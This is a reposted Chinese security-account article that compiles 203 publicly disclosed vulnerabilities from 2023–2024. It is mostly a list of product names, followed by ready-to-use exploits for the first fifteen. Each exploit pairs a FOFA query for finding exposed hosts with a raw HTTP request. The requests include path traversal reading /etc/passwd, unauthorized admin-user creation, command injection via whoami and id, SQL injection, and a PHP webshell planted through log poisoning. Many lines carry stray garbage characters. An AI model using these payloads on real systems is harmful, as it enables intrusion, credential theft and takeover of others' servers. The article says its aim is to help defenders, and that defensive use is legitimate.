互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

1 j# ]* a) S/ F4 V* B- Y, U6 x漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
8 o3 x* d2 _: d) r; |* c; G
安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
+ h- V8 Y  {% b  m4 w$ a
) T6 Z$ D$ e; H' Z# N文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
0 U9 f) B/ w3 b0 t% z- N
6 s6 b: Z$ ^6 B  C6 L7 Y* A
( k. A# w# m1 I* w" W1 U声明

' {% }, L+ K( w/ o: ~为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

! w$ `% t; t( q) W. C' _7 m有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。



1 H8 q2 Z( X" t) q7 r; j/ F* L目录

# b$ w. ~5 v5 a4 @) j01
- H7 t2 K% O1 Y9 v" D
1 B8 b- J8 [- I& K1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
: B4 q* W0 P% `' D' Y! W5 M  G4. EasyCVR视频管理平台存在任意用户添加
4 j$ X* W" p, u+ L$ `5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
. h! r! _. J, A8 `0 A8 L; L0 y2 O7. 鸿运主动安全监控云平台任意文件下载
8 D& k' h* D6 c3 {5 f8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
! R, F3 j2 ?0 k! A5 s  Q0 L13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
% M& p- ^; t# t5 N) i3 E15. 华夏ERP getAllList信息泄露
9 w! h! \: s0 j5 s( F$ _16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
. {- e4 q! n5 E$ s4 L26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
! C0 [/ t* d3 n0 O3 w28. 用友NC grouptemplet 任意文件上传
( c! @* O& i: v( e& j% F6 g29. 用友NC down/bill SQL注入
( [' ?% b+ q# b' \/ F4 D30. 用友NC importPml SQL注入
: H* Y! {" z7 A& [31. 用友NC runStateServlet SQL注入
+ R" A% R' |! a) E8 v) f32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
6 j# ?/ K! {1 o: s: ]35. 用友NC-Cloud importhttpscer任意文件上传
4 Y1 G* z: q) @- {! Z, U36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
7 T+ K6 k1 }8 i38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
3 g4 @! p6 I- c; t& T% H40. 用友U8-Cloud XChangeServlet XXE
. ~# m" Z: f! I6 v' [3 T41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
8 n7 n, M1 o9 u. e* k42. 用友GRP-U8 SmartUpload01 文件上传
8 N" H! b# ^4 R: V# X1 l' M6 L0 a& Y43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
& S" R) E& {( W. X3 N7 m) h. ~45. 用友GRP-U8 ufgovbank XXE
% A  B( t  `! j/ j0 ^46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
3 k3 M2 z: W8 [- r9 O+ F& S51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
; E9 M4 M5 v) A+ R8 |- R1 `. G53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
& g" Z4 Q) X- ~- r% G7 m4 F7 E+ R7 r55. 畅捷通T+ getdecallusers信息泄露
# U: O8 v1 A1 t' i% {56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
$ T5 K8 H8 e" z, U58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
5 g% @1 W! }' o9 ?5 G0 P) S* _60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
" V* z5 A% `- H6 K' N% k62. IP-guard WebServer 远程命令执行
2 [! @* b) R" Z6 c. u" O63. IP-guard WebServer任意文件读取
( J& Z; e0 Y8 B, |- L( P; W8 K) {64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
$ e2 `: x' B4 {. ]7 ?( o66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
& P# E% T+ l, _67. 万户ezOFFICE wpsservlet任意文件上传
. e0 j3 }( M) t- B) C2 Z' m2 y. G68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
( K* u+ g. _4 e0 k; T70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
' o% N0 |3 u9 h' c! M1 _* J73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
9 i" h2 K: K7 R' ^& P9 i78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
0 y2 U$ m  e2 w: ?  Z- C0 U! H79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
. C& i5 j, g: O& S8 q82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
. j# ?* m5 K: k( y. M! D2 a83. JeecgBoot testConnection 远程命令执行
) G9 F" A0 t' o( R84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
. e% {$ Q5 z) A/ B4 c85. SysAid On-premise< 23.3.36远程代码执行
% |/ U* `# M2 t1 V& n' T2 I3 |5 E86. 日本tosei自助洗衣机RCE
  [  A$ L: P- ^3 c2 ?, E1 ~5 s87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
- g8 n8 ~2 K4 K* S! R! Q9 e: V/ R89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
1 m/ {& ~4 }8 l- x& h6 [1 K91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
. d5 m8 P1 d# Y: ?( g- m93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
* b# x8 K4 l. l6 e+ z" e94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
; L) D; c& K% p* K9 J7 `* p2 d95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
1 A8 x  X7 ^7 K9 d/ z: e# |9 H96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
' ^9 D1 O$ L4 B3 f4 t1 k98. SpiderFlow爬虫平台远程命令执行
7 N9 b: g' d+ c! S0 I2 H. Z99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
$ K0 K# J- Q; P- O' r; n102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
' }2 G3 b: f9 U% D: d103. Ivanti Pulse Connect Secure VPN XXE
2 L& G7 V2 D, ~* ?3 j104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
: L4 w: P7 J, z& x( P# V106. SpringBlade dict-biz/list SQL 注入
1 [" @) x: s0 V2 j9 X0 [$ Z107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
* `& T7 n1 S; s* C  C* ^6 J109. Jenkins CLI 任意文件读取
7 K, b3 S5 e  ^110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
; ~6 M0 e! @; a5 z6 @* x' u: \112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
. F# S' R, l) }. l! a# }114. WordPress MasterStudy LMS插件 SQL注入
# K7 T" m7 J' E8 F% e115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
2 I+ j) Q# x0 Q- p121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
9 y1 x0 J! P8 a% O/ N123. Atlassian Confluence 模板注入代码执行
$ r, V; E, Y9 d124. 湖南建研工程质量检测系统任意文件上传
$ C% I3 {& D' J125. ConnectWise ScreenConnect身份验证绕过
& L3 y" l4 C+ P3 b* J126. Aiohttp 路径遍历
6 @5 \0 F/ i. o( b127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
" T3 r$ _1 ?1 x& W132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
8 e- J& H7 X: A% c135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
1 c, J3 _. }9 @, O0 P7 r136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
# P# i; c( u7 q7 n, P" g138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
* F" Q4 g* ]% D* u1 e3 B7 t$ y140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
# C+ V0 P- u8 E141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
" Y* k9 z! h( {" [: c143. Netis WF2780 v2.1.40144 远程命令执行
/ T* ~, p! D4 C- v8 y- d4 i144. D-Link nas_sharing.cgi 命令注入
1 a6 h' w+ C, N/ G8 w145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
8 T6 L9 B9 R/ m# Q; k: D" Z146. MajorDoMo thumb.php 未授权远程代码执行
8 k6 t( B0 ]6 V% }147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
' i4 {) C: r9 s3 i9 m$ l, D6 Y! s150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
. V3 ]9 u- F+ S; w  G+ Y) P152. Progress Kemp LoadMaster 远程命令执行
% |4 K% ~; k1 i153. gradio任意文件读取
$ [7 L: ]: H7 L$ l! i154. 天维尔消防救援作战调度平台 SQL注入
3 x2 g& X8 O& Q. z; i155. 六零导航页 file.php 任意文件上传
% l# `: X" A/ x, o" y* B4 u156. TBK DVR-4104/DVR-4216 操作系统命令注入
/ ~$ S7 k' r/ w- U1 f157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
2 E9 l9 ?6 y8 T$ F+ D1 O0 \! N! C% b160. Sonatype Nexus Repository 3目录遍历与文件读取
9 {. ~& Z$ i% V6 l. q. A7 s& i: G2 b161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
1 |. P* }: B+ o  D8 n164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
6 r  ^2 L6 [$ L: ^2 D166. 中成科信票务管理平台SeatMapHandler SQL注入
+ @) L7 z) I) x/ E% ?167. 精益价值管理系统 DownLoad.aspx任意文件读取
% f! j; t$ g9 k9 P% w/ ?168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
5 @1 S; f1 `1 g. _5 B, @- @170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
( u9 G0 Z& @! {1 K' |1 l173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
- z. ~& S7 h: w4 Z) W175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
; [2 x! x7 U) _178. H3C校园网自助服务系统-flexfileupload-任意文件上传
4 C( b% g" y# K4 E179. 建文工程管理系统存在任意文件读取
- r4 u. S/ j0 y( f9 M  e' n180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
2 [) I5 u( z- W' A) s6 \& `% ?182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
/ Y  r# ?, D+ j4 M0 M3 ]2 c183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
5 g7 w3 L8 n* M; A  M5 g! Y186. F-logic DataCube3 SQL注入
* z3 e! ^' P& n( s. X3 C' ]187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
' H1 F. I( W/ \/ w190. 短视频矩阵营销系统 poihuoqu 任意文件读取
, q* V4 j& I6 q! r191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
$ L3 W, d6 {7 @" ?9 t192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
2 O  Z6 V& R4 k5 K4 A) y% U193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
4 [0 S/ r' v( @. u8 z% T0 L194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
& I# t9 l) `  A( O8 V! k8 Z( p195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
; y* d- M4 l9 j) q196. 河南省风速科技统一认证平台密码重置
! Q7 c' z2 L7 N197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
" H) {. w+ v' I4 ]198.  阿里云盘 WebDAV 命令注入
6 {' x  B# K( o. y% B! C/ E199. cockpit系统assetsmanager_upload接口 文件上传
( ?. g  j  P1 T. H  P# I200. SeaCMS海洋影视管理系统dmku SQL注入
( A' Z9 O. {; C# @1 Q  k' c& T6 p201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
9 a" k$ a( f- G9 T  V9 ]# v5 t203. 红海云EHR PtFjk 文件上传
4 o. P& Q7 M! p; t' O/ {# \- R  y& e9 w
POC列表

02

4 M' b, t( V3 y) W9 K$ c1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
) L1 x: b; ~9 lGET /mem_tracker HTTP/1.1
Host: URL
2 j% P% [' {) t9 c& L7 w) P
! ]8 a' P2 j3 g% y4 o: H
2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
8 E- a7 u% A/ o0 T" H: UAccept: */*
Accept-Language: en
5 x. K) F. }* e. j7 oAccept-Encoding: gzip


4 u/ `( B: `4 j7 P' j2 x; u+ W3. EasyCVR智能边缘网关 userlist 信息泄漏
3 K% j7 \5 _+ i! e& y& ~/ \; JFOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
. \  B) `- U2 b( ]. r" u4 r3 R  s" pHost: xx.xx.xx.xx
9 u1 A* `/ B9 Z. ^9 a: |
* H: C2 B9 f1 h6 f: F, {/ p* [
; E$ R* c( A, A" ^1 Q4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

/ z  O2 S1 J) s* p: `/ v& E2 Zpassword更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
4 K) o; S& {0 v# w1 r
+ [$ N, w* F3 |" \' W8 A
5. NUUO NVR 视频存储管理设备远程命令执行
) q/ P  w& e% I+ d, ]- l: ]& xFOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
/ l, c' n# b7 D3 p; e0 `% `( XHost: xx.xx.xx.xx

: Z# J3 I% q& P! e
# m3 r+ ~9 F- f* P/ V% P6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
, t/ Q4 J9 y: G8 I: VHost:

8 q: O0 T% e( f+ z0 k! H; l2 R
' M) V2 ^% ^7 {8 o7. 鸿运主动安全监控云平台任意文件下载
& w9 M: S& P# I0 V2 p0 m& JFOFA：body="./open/webApi.html"
1 |  T( `( |2 S' ^0 `8 L6 h! `& hGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
+ S+ R# v; k* T1 N- O/ G7 _Host:
3 F$ P0 ?* D9 A& J4 o1 Z" _9 O
/ R$ I) M& [( T
8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
9 g/ v; i: {8 T1 z' N默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
  k8 ]) z2 H& C; u% d9 DHost: x.x.x.x
# }7 t6 @$ ~; N6 ], UCookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
; Q8 @9 R3 g" z& b
%s
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"
. y8 n" V6 B1 A( g# m; d% D
6 }3 R; N- j7 d12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
: a- L/ u- e( O: u. i/ q0 J
# V0 w5 i: A( M0 f%s:
------WebKitFormBoundaryxbgjoytz
: D; u  b8 n4 A/ n) uContent-Disposition: form-data; name="cururl2"
# {0 J% B( K$ b! q7 N: k2 I  u
4 L$ z9 ?' ^# v; R4 b' G7 w1 V
7 b* }1 i' {3 h. d------WebKitFormBoundaryxbgjoytz--

! r  n8 U# Q% o! \
9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
; X) E( L9 R/ D% ~' W: ^Host: x.x.x.x

7 W4 d5 v  u5 l1 d" F. R' h
; Y" x$ A: t! V8 j3 A. }% b  ipayload为下列语句的二次Url编码
' ^( \+ i) X. g4 u  y
  c" v0 n7 L8 t% t" e' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
" }+ J9 V8 r+ w! b! u
8 {( @$ B& l1 Q1 c5 Z0 N; j* k10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

% p2 g1 j& d2 [. B; v* t4 i文件上传后响应中包含上传文件的路径
  J$ x/ C  k( SPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
. e6 T) Q7 E) c7 UHost: x.x.x.x:xx
0 `* G- Z: J( w, `, IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
( ~1 D" ?$ T. TContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
8 ?1 z5 j* }, T  gAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
6 E3 T) c0 d0 W; w) L* u
; S2 W5 U% |+ A& Z* i* t------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
% @( s# V- [$ @/ U8 C& d' \Content-Type: text/html
6 n- y+ r! Y0 [6 |4 U
9 L% Z2 T4 ^# l1 \jmnqjfdsupxgfidopeixbgsxbf
; \/ F2 S* d' B( e+ f1 o, x------WebKitFormBoundaryxdgaqmqu--


11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
; Y, L, H6 ~* o, Z0 PFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
" w4 k* A* R% v+ H- ^9 tGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
( a9 D9 D6 p7 @6 I  NUpgrade-Insecure-Requests: 1
+ c7 t( Y: m& A5 {+ b! dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


3 T* B5 m+ i& y4 a, T% d12. Jorani < 1.0.2 远程命令执行
3 }! r; U9 Y$ e- ?( k+ TFOFA：title="Jorani"
第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
( t; N* f3 d0 k- NAccept-Encoding: gzip


响应中csrf_cookie_jorani用于后续请求
$ O* {2 q4 J: }* P1 }3 K% }HTTP/1.1 200 OK
Connection: close
& w# j- ~: @; r$ J0 n; hCache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
8 i- }" n7 f) o& f! k; i. l# ]  hExpires: Thu, 19 Nov 1981 08:52:00 GMT
# G! B0 o5 L  B4 G9 HLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
2 b; J9 T/ M* T/ c9 y0 [. Z0 y+ S

. I+ k3 G, E3 N+ B7 H9 bPOST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
% M+ C; q% @5 d  dConnection: close
Content-Length: 252
3 ~# r# A& L: K  ^3 G  n$ c, C6 lContent-Type: application/x-www-form-urlencoded
  c( l6 T- n7 }6 O9 W6 pCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip
2 s) d, E! T/ `# M1 F/ ^/ \
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor


- |0 L5 }3 q6 \$ r* H' B" B
- ?, k& w, B/ \; V: Y向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
5 O5 L. ^; G9 c2 d" B, D2 B$ k2 GHost: 192.168.190.30
$ v' R8 C  W1 A* xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
# v( v% ?) [- \8 r: hConnection: close
+ g: ]) ~! v/ t8 k8 a  vCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
1 _) k0 k: r, K' i% a# x: @K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
8 k2 k# c3 X! `1 F) U" @X-REQUESTED-WITH: XMLHttpRequest
: p% c5 k* m4 D* o6 K9 u1 y# vAccept-Encoding: gzip

0 s# y% T( k) H9 L9 o
; L$ o5 p3 c- e' s3 L+ J2 v! w, d7 G, A13. 红帆iOffice ioFileDown任意文件读取
2 `' T; v6 r- ^7 J# nFOFA：app="红帆-ioffice"
$ l, [1 I6 W+ b# y0 E4 w! XGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
9 j- ]4 w, x$ k( y- R7 [Accept-Encoding: gzip


: `$ f, H! f5 b2 @9 f4 L14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
# L1 e2 }1 M& p3 o- P9 N1 H- ^泄露内容包括用户名密码
, u# J# J* t6 c) S+ BGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
" }& X4 t( e( f% gAccept-Language: en
0 E6 W& f; H' M1 e/ WAccept-Encoding: gzip
" O+ o' Y" R. o
1 t  W0 ^1 D- b# X8 _& ^& I3 r0 a1 `
+ x* V, {8 f3 ?. U, ?  j) M15. 华夏ERP getAllList信息泄露
0 j4 X+ q+ r9 |0 \# r: U( {2 bCVE-2024-0490
FOFA：body="jshERP-boot"
. K% ]- u4 C2 x* f% Q泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
